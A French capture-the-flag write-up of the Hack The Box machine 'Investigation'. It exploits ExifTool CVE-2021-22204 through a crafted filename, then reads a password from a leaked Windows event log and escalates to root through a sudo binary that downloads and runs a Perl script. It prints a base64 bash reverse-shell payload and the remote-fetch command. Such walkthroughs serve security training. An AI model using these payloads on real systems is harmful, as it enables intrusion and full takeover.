Hack The Box | Investigation

Machine IP : 10.10.11.197
My IP : 10.10.16.81

Accès Initial

Scan

Le scan nmap nous confirme la présence d’une application web sur le port 80 et la possibilité de se connecter en ssh sur le port 22.

┌─[lun@parrot]─[~/Desktop/HTB/Investigation]
└──╼ nmap -sV -sC -oA ./$CIDR/quick.txt $CIDR

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 2f:1e:63:06:aa:6e:bb:cc:0d:19:d4:15:26:74:c6:d9 (RSA)
|   256 27:45:20:ad:d2:fa:a7:3a:83:73:d9:7c:79:ab:f3:0b (ECDSA)
|_  256 42:45:eb:91:6e:21:02:06:17:b2:74:8b:c5:83:4f:e0 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://eforenzics.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: eforenzics.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Un bruteforce des sous domaines a été effectué sans succès, ce qui indique que la porte d’entrée sera l’application web.

Exploitation Web (RCE)

Le site permet de charger une image JPG et de nous afficher le résultat d’exiftool pour le fichier :

Après une courte recherche sur google, on se rend compte que la version 12.37 est vulnérable à une RCE (CVE-2021-22204) (Github POC)

Exiftool versions < 12.38 are vulnerable to Command Injection through a crafted filename. If the filename passed to exiftool ends with a pipe character | and exists on the filesystem, then the file will be treated as a pipe and executed as an OS command.

Pour tester l’exploit, on peut utiliser Burpsuite et remplacer le filename par la commande à exécuter :

Sur notre client netcat on reçoit bien une connexion en retour. La vulnérabilité est donc bien exploitable :

┌─[lun@parrot]─[~/Desktop/HTB/Investigation]
└──╼ $ nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.16.81] from (UNKNOWN) [10.10.11.197] 57416

En revanche, lorsque l’on essaye d’obtenir un reverse shell, on constate qu’il y a un filtre et qu’il n’est pas possible d’utiliser le séparateur / . Afin d’obtenir le revershell, il faut choisir une payload qui ne contient pas ce séparateur :

# (base64 bash reverse shell)
echo | bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi44MS85OTc3IDA+JjEnCg | base64 -d | bash 2>/dev/null |

On obtient bien un shell en retour :

┌─[lun@parrot]─[~/Desktop/HTB/Investigation]
└──╼ $ nc -lnvp 9977
listening on [any] 9977 ...
connect to [10.10.16.81] from (UNKNOWN) [10.10.11.197] 36594
Linux investigation 5.4.0-137-generic #154-Ubuntu SMP Thu Jan 5 17:03:22 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

User.txt

Maintenant que nous avons notre accès initial. Il va nous falloir l’accès d’un utilisateur. On considère d’abord la liste des utilisateurs de la machine :

$ cat /etc/passwd | grep sh 
root:x:0:0:root:/root:/bin/bash
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
smorton:x:1000:1000:eForenzics:/home/smorton:/bin/bash
fwupd-refresh:x:113:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin

L’utilisateur que l’on va devoir compromettre est donc très probablement smorton. En regardant les derniers fichiers créés par smorton et modifiables par notre utilisateur on découvre un fichier étrange :

$ find / -xdev -user smorton -perm -u+w  2> /dev/null
/home/smorton
/usr/local/investigation/Windows Event Logs for Analysis.msg

Grâce à un simple serveur http dans le répertoire /usr/local/investigation/ on récupère le fichier sur notre machine local pour analyse :

┌─[lun@parrot]─[~/Desktop/HTB/Investigation]
└──╼ $ wget "10.10.11.197:7789/Windows Event Logs for Analysis.msg"
--2023-02-05 20:10:11--  http://10.10.11.197:7789/Windows%20Event%20Logs%20for%20Analysis.msg
Connexion à 10.10.11.197:7789… connecté.
requête HTTP transmise, en attente de la réponse… 200 OK
Taille : 1308160 (1,2M)
Sauvegarde en : « Windows Event Logs for Analysis.msg »

Windows Event Logs  100%[===================>]   1,25M  1,16MB/s    ds 1,1s    

2023-02-05 20:10:13 (1,16 MB/s) — « Windows Event Logs for Analysis.msg » sauvegardé [1308160/1308160]

On constate que c’est un fichier Microsoft Outlook Message:

┌─[lun@parrot]─[~/Desktop/HTB/Investigation]
└──╼ $ file Windows\ Event\ Logs\ for\ Analysis.msg
Windows Event Logs for Analysis.msg: CDFV2 Microsoft Outlook Message

Sur stack overflow on trouve qu’il est possible d’ouvrir ce type de fichier avec MSGConvert :

sudo apt-get install libemail-outlook-message-perl libemail-sender-perl
msgconvert *.msg

On se retrouve avec un fichier .eml :

┌─[lun@parrot]─[~/Desktop/HTB/Investigation]
└──╼ cat "Windows Event Logs for Analysis.eml"

Date: Tue, 16 Sept 2022 00:30:29 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=16756253281.db1C9.2969
Content-Transfer-Encoding: 7bit
Subject: Windows Event Logs for Analysis
From: Thomas Jones <[email protected]>
To: Steve Morton <[email protected]>
Thread-Topic: Windows Event Logs for Analysis
Accept-Language: en-US
Content-Language: en-US


--16756253281.db1C9.2969
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary=16756253280.FA98.2969
Content-Transfer-Encoding: 7bit


--16756253280.FA98.2969
Content-Type: text/plain; charset=ISO-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit

Hi Steve,

Can you look through these logs to see if our analysts have been logging on to the inspection terminal. I'm concerned that they are moving data on to production without following our data transfer procedures. 

Regards.
Tom



--16756253281.db1C9.2969
Content-ID: 
Content-Type: application/octet-stream; name=evtx-logs.zip
Content-Disposition: attachment; filename=evtx-logs.zip
Content-Transfer-Encoding: base64

UEsDBBQAAAAIAJBsAVWzNSwXM3oTAAAQ8QANAAAAc2VjdXJpdHkuZXZ0eOxdCXxVxdU/b8nLRhZk
R5aAoqINJISwChISAlSQCEHFUjCQxABJwCTsLnHBtSpabW2t1rpVu1g/97pVa22prRqXKrW0ta1t
6Vf33X5WvnNm5rx7373vvnffct97Iffm93K3mTkzc/7nzDkzc2fmtTbXrmttAj7eUufSE+S5G39e
8AEUvw3JPi7df/2D0cK4h3u4h3u4h3u4h3u4h3u4h3u4h3u4R+LHvNbm6pb2DeBR96vU2Xjfjb+y
/wIUHwC4tX3F6ZDgQemPumJyP74/LBfghgBAewFAJ55bskLDfwOfz/KB5fGtXPOzN3MATvCbn+uP
Q7Pl+QZFb6sKPztbFwaf/UM9n5ojzz/ .........

On peut alors transformer la chaîne base64 en fichier binaire evtx-logs.zip et extraire son contenu :

┌─[✗]─[lun@parrot]─[~/Desktop/HTB/Investigation]
└──╼ $cat event-log.zip.base64.txt - | sed "s/[^a-zA-Z0-9+\/=]//g" | base64 -d > evtx-log.zip

On y trouve alors un fichier security.evtx (log de sécurité de windows). La première chose qui me vient à l’esprit est de checher les erreurs d’authentification. En effet ça arrive à tout le monde de mettre son mot de passe à la place du username. Pour cela on recherche dans le fichier tous les event ID 4625. On en trouve 3 mais un seul semble vraiment intéressant :

┌─[✗]─[lun@parrot]─[~/Desktop/HTB/Investigation]
└──╼ $python3 python-evtx/scripts/evtx_dump.py ./security.evtx > security.xml

....
....
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider>
<EventID Qualifiers="">4625</EventID>
<Version>0</Version>
<Level>0</Level>
<Task>12544</Task>
<Opcode>0</Opcode>
<Keywords>0x8010000000000000</Keywords>
<TimeCreated SystemTime="2022-08-01 19:15:15.374769"></TimeCreated>
<EventRecordID>11373331</EventRecordID>
<Correlation ActivityID="{6a946884-a5bc-0001-d968-946abca5d801}" RelatedActivityID=""></Correlation>
<Execution ProcessID="628" ThreadID="6800"></Execution>
<Channel>Security</Channel>
<Computer>eForenzics-DI</Computer>
<Security UserID=""></Security>
</System>
<EventData><Data Name="SubjectUserSid">S-1-5-18</Data>
<Data Name="SubjectUserName">EFORENZICS-DI$</Data>
<Data Name="SubjectDomainName">WORKGROUP</Data>
<Data Name="SubjectLogonId">0x00000000000003e7</Data>
<Data Name="TargetUserSid">S-1-0-0</Data>
<Data Name="TargetUserName">Def@ultf0r3nz!csPa$$</Data>
<Data Name="TargetDomainName"></Data>
<Data Name="Status">0xc000006d</Data>
<Data Name="FailureReason">%%2313</Data>
<Data Name="SubStatus">0xc0000064</Data>
<Data Name="LogonType">7</Data>
<Data Name="LogonProcessName">User32 </Data>
<Data Name="AuthenticationPackageName">Negotiate</Data>
<Data Name="WorkstationName">EFORENZICS-DI</Data>
<Data Name="TransmittedServices">-</Data>
<Data Name="LmPackageName">-</Data>
<Data Name="KeyLength">0</Data>
<Data Name="ProcessId">0x0000000000000180</Data>
<Data Name="ProcessName">C:\Windows\System32\svchost.exe</Data>
<Data Name="IpAddress">127.0.0.1</Data>
<Data Name="IpPort">0</Data>
</EventData>
</Event>
....
....

De toute évidence le mot de passe de smorton doit être Def@ultf0r3nz!csPa$$. La tentative de connexion en ssh nous donne raison :

┌─[✗]─[lun@parrot]─[~/Desktop/HTB/Investigation]
└──╼ $ssh [email protected]
The authenticity of host '10.10.11.197 (10.10.11.197)' can't be established.
ECDSA key fingerprint is SHA256:8QzSdYV2rJl1VhoMrOWtLiE4mlpC5oHZYaE/IGorAx8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.197' (ECDSA) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-137-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 05 Feb 2023 07:39:11 PM UTC

  System load:  0.0               Processes:             233
  Usage of /:   59.4% of 3.97GB   Users logged in:       0
  Memory usage: 8%                IPv4 address for eth0: 10.10.11.197
  Swap usage:   0%


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

smorton@investigation:~$ ls
user.txt
smorton@investigation:~$ cat user.txt 
2fabadde252e165241ff090d2c4007ca

Root.txt

Pour effectuer notre élévation de privilège, l’on remarque très vite que lon peut executer un binaire usr/bin/binary en tant que root et sans mot de passe :

smorton@investigation:~$ sudo -l 
Matching Defaults entries for smorton on investigation:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User smorton may run the following commands on investigation:
    (root) NOPASSWD: /usr/bin/binary

En revanche lorsque l’on lance le programme le résultat est bien décevant :

smorton@investigation:~$ sudo /usr/bin/binary
Exiting... 

On récupère donc le binaire via http pour l’analyser en local avec Ghidra. On peut décompiler la fonction main suivante :

int main(int argc,char **argv)

{
  __uid_t _Var1;
  int iVar2;
  FILE *__stream;
  undefined8 uVar3;
  char *__s;
  char *__s_00;
  
  if (argc != 3) {
    puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  _Var1 = getuid();
  if (_Var1 != 0) {
    puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  iVar2 = strcmp(argv[2],"lDnxUysaQn");
  if (iVar2 != 0) {
    puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Running... ");
  __stream = fopen(argv[2],"wb");
  uVar3 = curl_easy_init();
  curl_easy_setopt(uVar3,0x2712,argv[1]);
  curl_easy_setopt(uVar3,0x2711,__stream);
  curl_easy_setopt(uVar3,0x2d,1);
  iVar2 = curl_easy_perform(uVar3);
  if (iVar2 == 0) {
    iVar2 = snprintf((char *)0x0,0,"%s",argv[2]);
    __s = (char *)malloc((long)iVar2 + 1);
    snprintf(__s,(long)iVar2 + 1,"%s",argv[2]);
    iVar2 = snprintf((char *)0x0,0,"perl ./%s",__s);
    __s_00 = (char *)malloc((long)iVar2 + 1);
    snprintf(__s_00,(long)iVar2 + 1,"perl ./%s",__s);
    fclose(__stream);
    curl_easy_cleanup(uVar3);
    setuid(0);
    system(__s_00);
    system("rm -f ./lDnxUysaQn");
    return 0;
  }
  puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

En nettoyant un peu et en utilisant la documentation de curl.h , on obtient un pseudo code assez explicite :

int main(int argc,char **argv)

{
  FILE *file;
  void *CURL;
  char *command;
  
  if (argc != 3) { // if there is less than 3 arguments
    puts("Exiting... ");
    exit(0);
  }

  if (getuid() != 0) { // if the user is not root
    puts("Exiting... ");
    exit(0);
  }

  if (argv[2] != "lDnxUysaQn") { // if second argument different from lDnxUysaQn
    puts("Exiting... ");
    exit(0);
  }

  puts("Running... ");
  file = fopen(argv[2],"wb");
  CURL = curl_easy_init();
  curl_easy_setopt(CURL,CURLOPT_URL,argv[1]);
  curl_easy_setopt(CURL,CURLOPT_WRITEDATA,file);
  curl_easy_setopt(CURL,CURLOPT_FAILONERROR,1);

  if ( curl_easy_perform(CURL) == 0) { // curl request did not failed

    command = "perl ./" + argv[2];
    fclose(file);
    curl_easy_cleanup(CURL);

    setuid(0);
    system(command);
    system("rm -f ./lDnxUysaQn");
    return 0;
  }
  puts("Exiting... ");
  exit(0);
}

Le programme en question prend en paramètre une url contenant le fichier d’un script perl qu’il va stocker dans un fichier donné en second paramètre. Le script perl sera executé par la suite.

On peut d’abord tester la payload en local :

┌─[✗]─[lun@parrot]─[~/Desktop/HTB/Investigation]
└──╼ $ echo "system( '/bin/bash' );" > perl.txt
┌─[✗]─[lun@parrot]─[~/Desktop/HTB/Investigation]
└──╼ $ php -S 0.0.0.0:9999 
┌─[lun@parrot]─[~/Desktop/HTB/Investigation]
└──╼ $ sudo ./binary http://127.0.0.1:9999/perl.txt lDnxUysaQn  
Running... 
┌─[root@parrot]─[/home/lun/Desktop/HTB/Investigation]
└──╼ #

La payload semble marcher. On arrive bien à passe de l’utilisateur lun à l’utilisateur root en utilisant sudo et le binaire.

En l’exécutant sur la machine distante on obtient bien un shell root :

smorton@investigation:~$ sudo /usr/bin/binary http://10.10.16.81:9999/perl.txt lDnxUysaQn
Running... 
root@investigation:/home/smorton# cat /root/root.txt 
2a80238c708834f9167c0a787e0c32fe
root@investigation:/home/smorton#